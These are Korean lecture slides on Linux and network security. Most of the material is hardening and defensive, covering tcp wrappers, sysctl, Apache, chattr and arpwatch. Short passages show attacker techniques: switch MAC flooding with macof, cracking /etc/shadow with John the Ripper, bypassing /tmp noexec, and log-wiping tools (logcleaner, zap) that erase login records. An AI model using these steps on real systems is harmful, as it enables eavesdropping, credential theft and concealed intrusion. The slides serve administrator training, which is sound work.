PowerPoint 프레젠테이션

Similar documents
KISA-GD

PowerPoint 프레젠테이션

bn2019_2

Network seminar.key


UDP Flooding Attack 공격과 방어

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월

DNS Áø´Üµµ±¸ - dig È°¿ë¹æ¹ý °¡À̵å(U0625).hwp

제20회_해킹방지워크샵_(이재석)

chapter4

2-11Àå

SMB_ICMP_UDP(huichang).PDF

untitled

1217 WebTrafMon II

untitled

메일서버등록제(SPF) 인증기능적용안내서 (SunOS - Sendmail) OS Mail Server SPF 적용모듈 (C 언어기반) 작성기준 SunOS bit sendmail spfmilter

TCP.IP.ppt

PowerPoint 프레젠테이션

LXR 설치 및 사용법.doc

Secure Programming Lecture1 : Introduction

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta

Remote UI Guide

목차 1. 시스템구성 개요 정의 목적 환경 준비사항 필수설치프로그램 Sendmail 서버구축을위한준비... -

hd1300_k_v1r2_Final_.PDF

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

IT 관리자가알아야할보안키포인트 네트워크의미래를제시하는세미나 세미나 NetFocus 2003 : IT 관리자를위한네트워크보안방법론 오늘과내일 /

1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder Service - efolder

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

휠세미나3 ver0.4

6강.hwp

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - postfix) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i postfix spf-filter 년 6 월

SRC PLUS 제어기 MANUAL

TTA Verified : HomeGateway :, : (NEtwork Testing Team)

Microsoft PowerPoint - 2.Catalyst Switch Intrastructure Protection_이충용_V1 0.ppt [호환 모드]

Subnet Address Internet Network G Network Network class B networ

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

슬라이드 1

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

0. 들어가기 전

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Microsoft PowerPoint - ch13.ppt

PowerPoint 프레젠테이션

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Cisco SDN 3.0 DDoS DDoS Cisco DDoS Real Demo 2008 Cisco Systems, Inc. All rights reserved. 2

*****

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

MySQL-Ch10

The Pocket Guide to TCP/IP Sockets: C Version

Mango220 Android How to compile and Transfer image to Target

소개 TeraStation 을 구입해 주셔서 감사합니다! 이 사용 설명서는 TeraStation 구성 정보를 제공합니다. 제품은 계속 업데이트되므로, 이 설명서의 이미지 및 텍스트는 사용자가 보유 중인 TeraStation 에 표시 된 이미지 및 텍스트와 약간 다를 수

6주차.key

thesis-shk

Sena Device Server Serial/IP TM Version

운영체제실습_명령어

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월

Assign an IP Address and Access the Video Stream - Installation Guide

목 차 I. 개요 1 1. SPF( 메일서버등록제) 란? 1 2. SPF 를이용한이메일인증절차 1 II. postfix, SPF 인증모듈설치 2 1. postfix 설치여부확인 2 2. libmail-spf-perl 설치 2 3. postfix-policyd-spf-p

Microsoft Word doc

Solaris Express Developer Edition

4. 스위치재부팅을실시한다. ( 만약, Save 질문이나오면 'no' 를실시한다.) SWx#reload System configuration has been modified. Save? [yes/no]: no Proceed with reload? [confirm] (

Chapter11OSPF

작성자 : 기술지원부 김 삼 수

PowerPoint 프레젠테이션

초보자를 위한 분산 캐시 활용 전략

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

10X56_NWG_KOR.indd

<4D F736F F F696E74202D204D6F B7CEB1D7BAD0BCAEB9D7B0EDB1DEB7EABCB3C1A42DC8ABBCAEB9FC2E BC8A3C8AF20B8F0B5E55D>

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2003) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2003 Exchange Server 2003 GFI MailEssentials 2010 fo

Apache( 단일도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

네트워크 안정성을 지켜줄 최고의 기술과 성능 TrusGuard는 국내 최초의 통합보안솔루션으로서 지난 5년간 약 4천여 고객 사이트에 구축 운영되면서 기술의 안정성과 성능면에서 철저한 시장 검증을 거쳤습니다. 또한 TrusGuard는 단독 기능 또는 복합 기능 구동 시

Apache install guide

Webtob( 멀티도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C


Microsoft PowerPoint - comp_prac_081223_2.pptx

Apache( 단일도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

chapter1,2.doc

리눅스보안관리.PDF

untitled

PCServerMgmt7

슬라이드 1

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

자바-11장N'1-502

제목 레이아웃

목차 1. 사전준비 mod_ssl OpenSSL 인증서파일 2. 주의사항 신규및갱신구분 CSR 직접생성여부 3. 인증서설치 httpd.conf 설정 httpd-ssl.conf 설정 갱신설치 서비스재시작 4. 확인및테스트 서비스구동확인 네트워크상태확인 방화벽확인 실제브라

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2000) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2000 Exchange Server 2003 GFI MailEssentials 14 for

Apache( 단일도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

PowerPoint 프레젠테이션

Web Application Hosting in the AWS Cloud Contents 개요 가용성과 확장성이 높은 웹 호스팅은 복잡하고 비용이 많이 드는 사업이 될 수 있습니다. 전통적인 웹 확장 아키텍처는 높은 수준의 안정성을 보장하기 위해 복잡한 솔루션으로 구현

Cache_cny.ppt [읽기 전용]

1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. 설명 : [$Apache] = Apache 디렉토리. 소스버전의경우 Apache]# mkdir conf/ssl Apache]# cp

망고100 보드로 놀아보자-4

*

Sena Technologies, Inc. HelloDevice Super 1.1.0

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Transcription:

리눅스시스템 / 네트워크보안 강사 : 홍석범 (antihong@tt.co.kr) 리눅스서버보안관리실무 저자 리눅스포털수퍼유저코리아

순서 1. 네트워크의큰그림을그려보자 - 선행이해사항확인 2. 리눅스시스템보안일반 3. 응용프로그램보안 xinetd 보안웹서버보안메일서버보안 DNS 서버보안 ftp 서버보안기타서버보안 (ssh 등 ) 4. 방화벽 (firewall) 구축및운영 5. 보안프로그램활용 6. 네트워크의취약성과대책 7. 네트워크모니터링을통한공격탐지 2

ARP(Address Resolution Protocol) RFC(http://www.ietf.org/rfc.html) RFC 826 번. * ARP 패킷헤더구성 소스 IP: 소스 MAC: 목적지 IP: 목적지 MAC: 요청 / 응답 * 로컬구간에서 TCP 접속시 ARP 교환후 3 Way-Handshake 시작. (tcpdump or windump 로확인!!) Windump : http://windump.polito.it/ 3

# tcpdump e arp arp who-has 211.47.65.192 tell 211.47.65.1 211.47.65.1이 211.47.65.192의 MAC 주소를알기위해브로드캐스트질의 arp reply 211.47.65.192 0:50:8b:9a:2e:a8 211.47.65.192 의 MAC 주소가 (0:50:8b:9a:2e:a8) 임을응답함 arp cache timeout arp cache timeout: 리눅스 :60s, 스위치 :300s, 라우터4~5h CatOS> sh cam agingtime VLAN 1 aging time = 300 sec IOS>sh mac address-table aging-time Global 300 4

arp cache # arp -a? (211.47.65.246) at 00:D0:B7:9A:25:20 [ether] on eth0? (211.47.65.191) at 00:D0:B7:88:E8:0D [ether] on eth0 www44 (211.47.65.45) at 00:01:02:54:C2:E7 [ether] on eth0? (211.47.65.102) at <incomplete> on eth0 * arp d www44 ( 또는 211.47.65.45): arp 정보삭제 * arp s www44 00:D0:B7:88:E8:0D : arp 정보저장 (192.168.1.1) at <incomplete> on eth1? eth1 을통해 192.168.1.1 의 MAC 주소를알려고했지만 timeout 시간인 5 초동안 192.168.1.1 의 MAC 주소를알지못한경우 5

< 라우터에서의 arp cache> # clear arp-cache ; arp cache 항목 clear # conf t (conf)# arp 1.1.1.1 00d0.b789.d700 ; arp 항목 static 하게설정 6

MAC-aging time 을임의로설정하는방법 # conf t # mac-address-table aging-time 0! disables aging of MAC table, will broadcast all ARP requests # mac-address-table aging-time 0 VLAN 2! disables aging of MAC table only for vlan 2 7

Gratuitous ARP : 접속을갱신하고자할때 (ARP cache 를업데이트함 ) ex)./send_arp 192.168.1.1 00508B9A27A8 192.168.1.255 ffffffffffff piranha 또는 fake 라는패키지에속해있음. http://rpmfind.net/ 에서질의 Unarp : arp 캐시를삭제함 Gratuitous ARP 와의차이점을이해 8

스위치및허브의차이 허브 스위치 10M 포트의허브에서는포트의수에관계없이최대대역폭은 10M 8 개포트의 100M 스위치는최대 800M 대역폭까지지원. 반이중방식 (half duplex) 만지원되므로송신, 수신은동시에한번만 전이중방식 (full duplex) 가지원되므로송신하면서수신이가능하여 collision 이없다. 9

< 두서버통신사이에 Arp cache 가없을때 > <Arp cache 가있을때 > 10

Dummy 환경 (1) arp 요청 (2) arp 응답 (3) tcp 3 way handshake (4) 데이터교환모두 broadcast Switch 환경 (1) arp 요청만이 broadcasting (2) arp 응답 (3) tcp 3 way handshake (4) 데이터교환모두 unicast 로작동 11

Sniffing 가능한이유 (1) Plain text 전송 (2) broadcast 등 이에대한대처방법 (1) dummy 대신 switch (2) 개별암호화전송프로토콜 (telnet ssh 등 ) (3) VPN(Virtual Private Network) 사용 (4) vlan, Pvlan 등사용 (5) port security 스니핑을위한필요조건 Promiscuous mode 12

dsniff- 스위치환경에서도스니핑이가능한 tool ARP spoofing MAC flooding Selective sniffing SSH / SSL Interception Dug Song, Author of dsniff http://www.monkey.org/~dugsong/dsniff 13

ARP 를이용한 sniffing(1) Switch Jam(MAC Flooding) 위조된 MAC 을지속적으로발생시켜스위치의 ARP 테이블을 Flood 시킨다. fail open (c2950 의경우 8,000 여개 MAC 인식가능 ) [root@hacker-lnx dsniff-2.3]#./macof ( 분당 155,000 개생성가능 ) 101.59.29.36 -> 60.171.137.91 TCP D=55934 S=322 Syn Seq=1210303300 Len=0 Win=512 145.123.46.9 -> 57.11.96.103 TCP D=44686 S=42409 Syn Seq=1106243396 Len=0 Win=52 109.40.136.24 -> 51.158.227.98 TCP D=59038 S=21289 Syn Seq=2039821840 Len=0 Win2 126.121.183.80 -> 151.241.231.59 TCP D=7519 S=34044 Syn Seq=310542747 Len=0 Win2 211.28.168.72 -> 91.247.223.23 TCP D=62807 S=53618 Syn Seq=2084851907 Len=0 Win2 183.159.196.56 -> 133.10.138.87 TCP D=23929 S=51034 Syn Seq=1263121444 Len=0 Wi2 19.113.88.77 -> 16.189.146.61 TCP D=1478 S=56820 Syn Seq=609596358 Len=0 Win=512 237.162.172.114 -> 51.32.8.36 TCP D=38433 S=31784 Syn Seq=410116516 Len=0 Win2 14

기억가능한 mac-addr 개수 6509>sh mac address-table count MAC Entries for all vlans : Dynamic Address Count: 469 Static Address (User-defined) Count: 6 Total MAC Addresses In Use: 475 Total MAC Addresses Available: 131072 이후현상 10.1.1.22 -> (broadcast) ARP C Who is 10.1.1.1, 10.1.1.1? 10.1.1.22 -> (broadcast) ARP C Who is 10.1.1.19, 10.1.1.19? 15.1.1.26 -> 15.1.1.25 ICMP Echo request (ID: 256 Sequence number: 7424) 15.1.1.25 -> 15.1.1.26 ICMP Echo reply (ID: 256 Sequence number: 7424) 15

ARP 를이용한 sniffing(2) * ARP Redirect 자신이마치 Gateway 인것처럼위조된 MAC 을 Broadcast 하여모든트래픽이통과하게한다. * ARP Spoofing 양서버사이에서스니핑하고자하는서버인것처럼 MAC 을위조하여트래픽을포워딩한다. * MAC duplicating 스니핑하고자하는서버의 MAC 주소와같은 MAC 주소를설정하는방법. * icmp redirect icmp-redirect 를이용, 라우팅테이블변경 16

Network 기반보안설정및점검프로그램 # Sentinel : http://www.packetfactory.net/projects/sentinel/ # sniffdet http://sniffdet.sourceforge.net/ ARP test Etherping test ping latency test DNS test # promisc 가아닌경우 tcpdump host 211.47.68.36 -e tcpdump: listening on eth0 0:2:b3:23:47:ca ff:0:0:0:0:0 ip 98 : remote.sniffer.detector > 211.47.68.36: icmp: echo request (DF) 0:2:b3:23:47:ca ff:0:0:0:0:0 ip 98: remote.sniffer.detector > 211.47.68.36: icmp: echo request (DF) <ICMP-promisc 인경우 > # promisc 인경우 tcpdump host 211.47.68.36 -e 0:2:b3:23:47:ca ff:0:0:0:0:0 ip 98: remote.sniffer.detector > 211.47.68.36: icmp: echo request (DF) 0:2:b3:23:33:14 0:2:b3:23:47:ca ip 60: 211.47.68.36 > remote.sniffer.detector: icmp: echo reply 17

Network 기반보안설정및점검프로그램 # promiscan 참고사이트 http://www.securityfriday.com/tools/promiscan_sla.html 예외 : 3com 계열 interface 스위치정상적인 promisc 모드장비등 18

ARPWatch 다운로드 : ftp://ftp.ee.lbl.gov/ http://www.cavebear.com/cavebear/ethernet/vendor.html MAC 벤더정보 ARP 트래픽을모니터링하여 MAC 주소와 IP 간매칭을감시하는프로그램으로정보가변경되거나새로운 MAC 주소가확인시관리자에게메일로통보. MAC 주소나 ARP를이용하는공격에대한대응에유용하다. Arpwatch -d 로실행시예 ) MAC 정보가변경시관리자에게메일로통보된내용 hostname: arp.abc.co.kr ip address: 192.168.1.1 ethernet address: 0:0:1c:2:38:18 ethernet vendor: JDR Microdevices generic, NE2000 drivers old ethernet address: 0:50:bf:30:fe:50 old ethernet vendor: <unknown> timestamp: Monday, April 23, 2002 21:49:08 +0900 previous timestamp: Monday, April 23, 2002 20:11:47 +0900 19

VPN- 터널링과압축, 암호화 Gateway-to-Gateway 방식 PC 나서버에서는별도의 VPN 프로그램설치가필요없다. Host-to-Gateway 방식 외근시사무실의네트워크에접속하고자할때 20

암호화프로토콜사용 -VPN Host-to-Host 방식 특정 PC( 서버 ) 와 PC( 서버 ) 간 VPN 통신시 # tcpdump -X port 5000 vpn.server.com.5000 > vpn.client.com.5000: 0x0000 4500 0090 0000 4000 4011 a383 d32f 4415 E...@.@.../D. 0x0010 d3db abb9 1388 1388 007c 196d dd03 e1a0....m... 0x0020 b342 af4c 1148 3dec 1e2b 8549 2454 6a12.B.L.H=..+.I$Tj. 0x0030 a22e f8c4 eb48 7646 21c5 66cc 4107 880d...HvF!.f.A... 0x0040 317e 9f52 85d1 391c 7dc5 1a48 4ea7 777b 1~.R..9.}..HN.w{ 0x0050 9a57 vpn client 에서 vpn server 에 ping 을실행했을때터널링되고, 암호화된것을알수있다. 21

시스템보안일반 1. 사용하지않는서비스중지 2. 퍼미션및파일및파일시스템속성 (attribute) 변경 3. 커널파라미터조정으로시스템최적화방안 4. John the ripper를활용한암호관리방안 5. 포트 (port) 의개념과포트를활용한문제해결 6. 로그의기초사항 22

사용하지않는서비스중지 * ntsysv * chkconfig 예 ) chkconfig list grep 3:on chkconfig level 3 xinetd off * /etc/rc.d/rc3.d/s* 확인 killall -9 ev processname, kill -9 pid 23

퍼미션 /tmp (1777) sticky bit drwxrwxrwt root root tmp/ : 누구나쓰고읽을수있지만다른유저가생성한파일은삭제가불가능하다. SetUid(4511) = 4(4+1)11 -r-s--x--x root root /usr/bin/passwd 이파일을실행당시에는 root 가되어야만이 root 만이읽을수있는 /etc/shadow 파일을일반유저가변경할수있다. -r-s--x--x root root /usr/bin/passwd(4511) -r-x--x--x root root /usr/bin/passwd(0511) 의차이점. -r-s--x--x root root /usr/bin/passwd(4511) -r-s--x--x root root /usr/bin/passwd(4411) 의차이점. 24

퍼미션활용 quiz # abc 라는유저가 /tmp 디렉토리이하에있는파일삭제가능여부? -rwxrwxrwx nobody nobody no.txt # 자신의디렉토리이하에있는 nobody 소유의파일삭제불가여부? drwx------ abc abc test_dir/ -rw------- nobody nobody no.txt 25

왜공격자는 /tmp 디렉토리를이용하는가? drwxrwxrwt(1777) root root /tmp sticky bit 가설정된 1777 디렉토리 3 곳 /tmp /var/tmp /dev/shm /etc/fstab 에 noexec, nosuid 설정 /dev/sda10 /tmp ext3 defaults,noexec,nosuid /tmp 에직접실행시에러 [root@server /tmp]#./test.cgi bash:./test.cgi: Permission denied But!! [root@server /tmp]# perl /tmp/test.cgi /bin/sh /tmp/test.sh 는잘실행됨 chmod 700 /usr/bin/wget /usr/bin/lynx /usr/bin/curl 26

chattr 활용 1. Read Only File (or File System) 설정 developed by Remy Card(ext2 fs developer) 사용법 : chattr +-= [ASacdisu] filename + : 지정한옵션추가 : 지정한옵션삭제 = : 초기화 A : atime (Access time) 속성이변경되지않는다. atime 속성은 stat file 로확인가능하다. a: append( 추가 ) 만이가능하다. 주로로그파일에적당하다. i : Immutable 로추가, 변경, 삭제등이불가능하다. 27

chattr test # touch test # ls -la test -rw-r--r-- 1 root root test # lsattr test -------- test # chattr +i test # lsattr test ----i--- test # rm test rm: remove write-protected file `test'? y rm: cannot unlink `test': Operation not permitted # chattr -i test # lsattr test -------- test # rm test rm: remove `test'? y 28

파일시스템속성변경 설정가능한옵션 (/etc/fstab 에서설정 ) defaults : 모든기능을허용한다.(quota, read-write, suid등 ) noquota : user의 quota 설정을하지않는다. nosuid : SUID나 SGID의설정을허용하지않는다. nodev : 문자나특별한장치 ( 디바이스 ) 를허용하지않는다. noexec : 어떠한실행파일에대해서도실행을허용하지않는다 quota : 유저들의 quota 설정을허용한다. ro : 현재의파티션을읽기전용 (read-only) 으로마운트한다. rw : 현재의파티션을읽고쓰기 (read-write) 모드로마운트한다. suid : SUID나 SGID의사용을허가한다. 29

fstab 파일속성설정 변경전 ) /etc/fstab 에서 filesystem 설정변경 /dev/sda11 /tmp ext2 defaults /dev/sda6 /home ext2 defaults 변경후 ) /dev/sda11 /tmp ext2 defaults,rw,nosuid,nodev,noexec /dev/sda6 /home ext2 defaults,rw,nosuid,nodev 파일시스템을다시마운트하기 # mount /home -oremount # mount /tmp oremoun # cat /proc/mounts /dev/sda8 /home ext2 rw,nosuid /dev/sda13 /tmp ext2 rw,noexec,nosuid 로확인. 30

커널파라미터설정 sysctl a 모든매개변수를 disply 설정변경방법 (1) sysctl w kernel_parameter (2) /etc/sysctl.conf 설정후 network 재시작 (3) /etc/sysctl.conf 설정후 sysctl p /etc/sysctl.conf (4) echo nn > /proc/sys/net/ipv4/xxxx Soft level 커널튜닝의경우부팅후에는초기화되므로주의. 31

커널파라미터보안설정 sysctl -w net.ipv4.tcp_max_syn_backlog=1024 sysctl -w net.ipv4.tcp_syncookies=1 sysctl w net.ipv4.conf.all.accept_redirects=0 sysctl w net.ipv4.icmp_echo_ignore_broadcasts=1 sysctl w net.ipv4.conf.all.accept_source_route=0 sysctl w net.ipv4.ip_forward=0 sysctl w net.ipv4.icmp_echo_ignore_all=1 sysctl w net.ipv4.conf.all.log_martians=1 32

암호관리방안 john the ripper : http://www.openwall.com/john/ [root@www root]# tar zxvfp john-1.7.tar.gz // 압축해제 [root@www root]# cd john-1.7/src // john-1.7/src 디렉토리로이동 [root@www src]# make linux-x86-any-elf // 컴파일 [root@www src]# cd../run/ // run 디렉토리로이동 [root@www run]#./unshadow /etc/passwd /etc/shadow > passwd.1 // 암호화된암호가저장된 passwd.1 파일생성 [root@www run]#./john passwd.1 // 암호해독시작 olympia (olympia) allmall (allmall) 33

사용하지않는계정중지 usedel, groupdel 등의명령어이용 /etc/passwd 에서사용하지않는계정 # 처리또는삭제 /etc/shadow 에서암호의차이 * -> User cannot login by password (may login by other means like ssh-key).! -> User cannot login at all. 34

Client 와 Server 의통신방식 Port 의개념 물리적인전송선은하나이지만그것을여러개의응용프로그램들이 서로나누어사용하기위해서도출된개념. * 0 ~ 1023 : Well known Port * 1024 ~ 49151 : Registered Port * 49152 ~ 65535 : Dynamic, Private Port Privileged,Well known, server, non-ephemeral Port : 1-1023 Unprivileged,high, client, ephemeral Port : 1024-65535 ## 일반적인포트작동예외 bind 4.x : client 가 udp port 53 이용 syslog : client 가 udp 514 이용 netbios : 구 windows에서 client가 port 139 이용등 ## 리눅스에서설정가능한포트설정예. sysctl -w net.ipv4.ip_local_port_range="2000 4000 포트를모두사용시 error msg: Cannot assign requested address Resource temporary Unavailable 35

port 를이용한문제해결 [root@www /root]# netstat -na grep :25 tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN tcp 0 0 211.47.65.56:25 211.47.66.71:3420 TIME_WAIT tcp 0 0 211.47.65.56:25 198.6.49.12:36877 ESTABLISHED tcp 0 0 211.47.65.56:25 211.119.130.90:3626 ESTABLISHED tcp 0 0 211.47.65.56:25 210.121.167.112:3565 ESTABLISHED tcp 0 0 211.47.65.56:25 210.111.91.130:4858 ESTABLISHED [root@www /root]# netstat -na grep :25 tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN tcp 0 0 211.47.65.56:38799 211.47.66.71:25 TIME_WAIT tcp 0 0 211.47.65.56:43634 198.6.49.12:25 ESTABLISHED tcp 0 0 211.47.65.56:43891 211.119.130.90:25 ESTABLISHED tcp 0 0 211.47.65.56:7478 210.121.167.112:25 ESTABLISHED 36

port 가사용하는프로그램확인 # netstat lnp 실행또는 fuser n tcp port# # ls la /proc/587 exe -> /home/user1/hacking/hacking (deleted) # cp /prod/587/exe /tmp/hacking 으로복구 37

포트관련사이트 http://www.grc.com/portdatahelp.htm 포트에대한자세한안내 http://isc.sans.org/ http://www.mynetwatchman.com/tp.asp 해당포트와관련된 IDS등의로그현황및악용된백도어등의정보 38

로그의기초사항 로그디렉토리 : /var/log 중요파일 (txt or binary) : 로그파일퍼미션조정 binary 는 strigns 이용 messages : syslogd 에의해생성된메시지, 각종접근기록 secure : 인증을필요로하는데몬에대한접근기록 xferlog : ftp 접속에대한기록 (man xferlog) maillog : mail 송수신에대한기록 lastlog : lastlog 에대한기록 wtmp : last 에대한기록지난달기록 : last f /var/log/wtmp.1 utmp : w, who, finger 에대한기록 (/var/run) 한접속이여러파일에중복적으로나타나는수가있음 39

messages 나 secure 에서확인된공격관련로그를기초로공격이성공하였는지여부는 last 등으로확인가능하다. last 는접속에성공한로그만보여주므로. zap(logcleaner 이용로그파일내용삭제 ) http://antihong.com/test/ 에서 logcleaner 를다운후컴파일 #./logcleaner03 ip 주소 zap.c 를다운후컴파일 #./zap username 접속기록이모두사라짐 zap2.c 를다운후컴파일 #./zap2 username 접속기록이하나씩사라짐 40

로그파일특이사항 (1) # last hostsden pts0 62.7.33.2 Tue May 10 01:24-01:25 (00:01) dsn2000 pts0 62.7.33.2 Tue May 10 01:25-01:26 (00:01) tellme pts0 62.7.33.2 Tue May 10 00:28-00:29 (00:01) qwert pts1 62.7.33.2 Tue May 10 00:30-01:30 (00:00) 41

로그파일특이사항 (2) # tail -f /var/log/secure test in.telnetd : connect from 82.168.11.200 test ipop3d : connect from 82.168.11.200 test in.fingered : connect from 82.168.11.200 test imapd : connect from 82.168.11.200 "last message repeated 357 times" syslogd 에서는같은로그가연속적으로발생할경우로그사이즈를줄이고읽기쉽게하기위해위와같은형태의메시지를출력함 # 아래로그해석 ( 해킹 or not?) May 9 04:02:19 dctl su(pam_unix)[17410]: session opened for user news by (uid=0) May 9 04:02:19 dctl su(pam_unix)[17410]: session closed for user news 힌트 : (1) 로그생성시각 (4 시 2 분 ) 주목 (2) 로그인후바로로그아웃 42

로그보안설정 (1) 일정날짜마다적절히 rotation 기본적으로 /etc/cron.daily/logrotate 에서실행 /cron.hourly/ 로복사 로그파일의사이즈가큰경우예 /etc/logrotste.conf or /etc/logrotate.d/syslog /var/log/maillog { size =40M rotate 7 sharedscripts postrotate killall -HUP syslogd endscript } 43

로그보안설정 (2) 웹서버의예 <VirtualHost 192.168.1.1> ServerAdmin webmaster@abc.com DocumentRoot /home/abc/public_html ServerName abc.com ServerAlias www.iwlee.com TransferLog " rotatelogs /home/abc/log/access_log 3600" LogFormat "%h %l %u %t "%r " %s %b "%{Referer}i " "%{User-agent}i "" </VirtualHost> # find /home/abc/public_html/ -mtime +3 -exec rm -f {} 44

원격지로그서버이용법 클라이언트의 /etc/syslog.conf #authpriv.* /var/log/secure authpriv.* @192.168.3.4 서버의 /etc/rc.d/init.d/syslogd start) echo -n "Starting system logger: " # we don't want the MARK ticks daemon syslogd -m 0 -r -h 서버쪽방화벽에서 514/udp open # iptables A INPUT p udp s client_ip d server_ip dport 514 j ACCEPT 45

Xinetd 보안 Inetd(Xinetd) 주의점 : Max. server instances per minute is 60 pop-3 stream tcp nowait.300 root /usr/sbin/tcpd ipop3d Instance 를 default 60 에서 150 으로설정함. service pop3 { disable = no server = /usr/sbin/ipop3d instances = 300 } 해당서비스 : pop3, telnet 등 Inetd 의경우 Tcp Wrapper 와함께설정되어접근통제 ( 통상적으로 hosts.deny 에서차단후 hosts.allow 에서허용 ). Tcp Wrapper 는 /etc/hosts.deny 와 /etc/hosts.allow 파일을통해적절히설정.(hosts.allow 를먼저참조후 hosts.deny 참조 ) 46

tcp wrapper 작동 Tcp wrapper 작동순서 1. hosts.allow 질의후매치되면허용. 2. hosts.allow 에매치하지않으면 hosts.deny 테스트. hosts.deny 에매치되면접속거부. 3. hosts.allow 와 hosts.deny 에매치되지않으면허용. Tcp wrapper 는 3 way handshake 접속과정에서 1 번만체크. 접속이이루어진후에는체크하지않는다. 47

hosts.allow/deny 파일 syntax hosts.allow 1. all:.kornet.net 2. in.ftpd: friend@trusted.host.net 1: local 머신과내부랜에서의접속 2: 접속 client 에 identd 가작동하고있어야 user 인증됨. hosts.deny all:all ======================================================= Only Inetd pop-3 stream tcp nowait root /usr/sbin/ipop3d ipop3d Tcp_Wrapper 를통한 Inetd pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d 48

xinetd 보안 참고사이트 : http://www.xinetd.org/ service pop3 { socket_type = stream wait = no user = root server = /usr/sbin/ipop3d only_from = 0.0.0.0/0 # Allows every client no_access = 207.35.78.10 128.138.204.0 # Deny from instances = 30 log_on_success += USERID log_on_failure += USERID access_times = 2:00-9:00 12:00-24:00 # 접근가능한시간대를제한 rlimit_as = 8M # 사용가능한메모리를 8M 로제한 nice = -2 # 우선순위지정 (-20 부터 19 까지 ) } 49

웹서버보안 - httpd.conf 보안설정 user nobody 만약 root 로실행시문제점은? httpd 프로세스가동유저와이 user와의차이점은? port 80 For ports < 1023, you will need httpd to be run as root initially. ServerTokens Prod, expose_php = Off (php.ini) ServerTokens Prod : Server: Apache ServerTokens Min : Server: Apache/1.3.33 ServerTokens OS : Server: Apache/1.3.33 (Unix) ServerTokens Full : Server: Apache/1.3.33 (Unix) PHP/4.3.10 MyMod/1.2 http://monkey.org/~pilot/arirang/ arirang -s 211.47.65.2 -e 211.47.65.253 211.47.65.89 Server: Apache 211.47.65.93 Server: Apache/1.3.27 (Unix) PHP/4.2.3 211.47.65.95 Server: Apache/1.3.20 (Unix) PHP/4.0.5 211.47.65.97 Server: Apache 211.47.65.105 Server: Microsoft-IIS/5.0 211.47.65.108 Server: Microsoft-IIS/6.0 211.47.65.100 Server: Apache 50

